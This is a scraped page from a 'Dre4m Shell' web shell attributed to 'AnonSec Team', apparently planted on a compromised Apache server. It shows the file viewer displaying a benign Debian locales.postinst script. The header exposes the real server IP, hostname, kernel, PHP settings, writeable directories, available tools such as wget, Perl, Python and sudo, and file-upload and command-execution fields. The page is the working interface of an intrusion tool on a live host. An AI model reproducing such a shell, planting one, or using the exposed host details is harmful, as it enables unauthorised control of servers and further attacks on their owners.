Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.15.2.239
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/lib/dpkg/info/locales.postinst
#! /bin/sh
set -e 

# Files
LG="/etc/locale.gen"
EE="/etc/default/locale"

# Sanitize environnement
LC_ALL=C
LANG=C

if [ "$1" = configure ]; then
    # Load debconf
    . /usr/share/debconf/confmodule
    db_version 2.0

    db_get locales/default_environment_locale && DEFAULT_ENVIRONMENT="$RET"
    db_get locales/locales_to_be_generated && SELECTED_LOCALES=$RET
    SELECTED_LOCALES="$(echo $SELECTED_LOCALES | sed -e 's/, /\n/g')"

    if [ "$SELECTED_LOCALES" = "All locales" ]; then
        [ -e $LG ] && rm -f $LG
        ln -s /usr/share/i18n/SUPPORTED $LG
    else
        [ -L $LG ] && [ "$(readlink $LG)" = "/usr/share/i18n/SUPPORTED" ] && rm -f $LG
        if [ ! -e $LG ] ; then
            cat > $LG << EOF
# This file lists locales that you wish to have built. You can find a list
# of valid supported locales at /usr/share/i18n/SUPPORTED, and you can add
# user defined locales to /usr/local/share/i18n/SUPPORTED. If you change
# this file, you need to rerun locale-gen.
#

EOF
        fi

        # Comment previous defined locales
        sed -i -e 's/^ *[a-zA-Z]/# &/' $LG

        # Get list of supported locales
        if [ -f "/usr/local/share/i18n/SUPPORTED" ] ; then
            SUPPORTED_LOCALES="$(sed -e '/^[a-zA-Z]/!d' -e 's/ *$//g' /usr/share/i18n/SUPPORTED /usr/local/share/i18n/SUPPORTED | sort -u)"
        else
            SUPPORTED_LOCALES="$(sed -e '/^[a-zA-Z]/!d' -e 's/ *$//g' /usr/share/i18n/SUPPORTED | sort -u)"
        fi

        # Make sure all locales exist in locales.gen
        echo "$SUPPORTED_LOCALES" | while read locale ; do
           if ! grep -q "^[# ]*$locale *\$" $LG; then 
             echo "# $locale" >> $LG
           fi
        done

        # Uncomment selected locales
        echo "$SELECTED_LOCALES" | while read locale ; do
            sed -i -e "0,/^[# ]*$locale *$/ s/^[# ]*$locale *$/$locale/" $LG
        done
    fi

    # Update requested locales if locales-all is not installed
    if [ "$(dpkg-query -W -f='${db:Status-Want}' locales-all 2>/dev/null)" = 'install' ] ; then
        echo "locales-all installed, skipping locales generation"
    else
        locale-gen
    fi

    if ! [ -e $EE ] || [ -n "$DEBCONF_RECONFIGURE" ] ; then
        # Remove previous definitions
        update-locale --no-checks LANG

        # Set default LANG environment variable
        if [ -n "$DEFAULT_ENVIRONMENT" ] && [ "$DEFAULT_ENVIRONMENT" != "None" ]; then
            update-locale "LANG=$DEFAULT_ENVIRONMENT"
        fi
    fi
fi



exit 0

Anon7 - 2022
AnonSec Team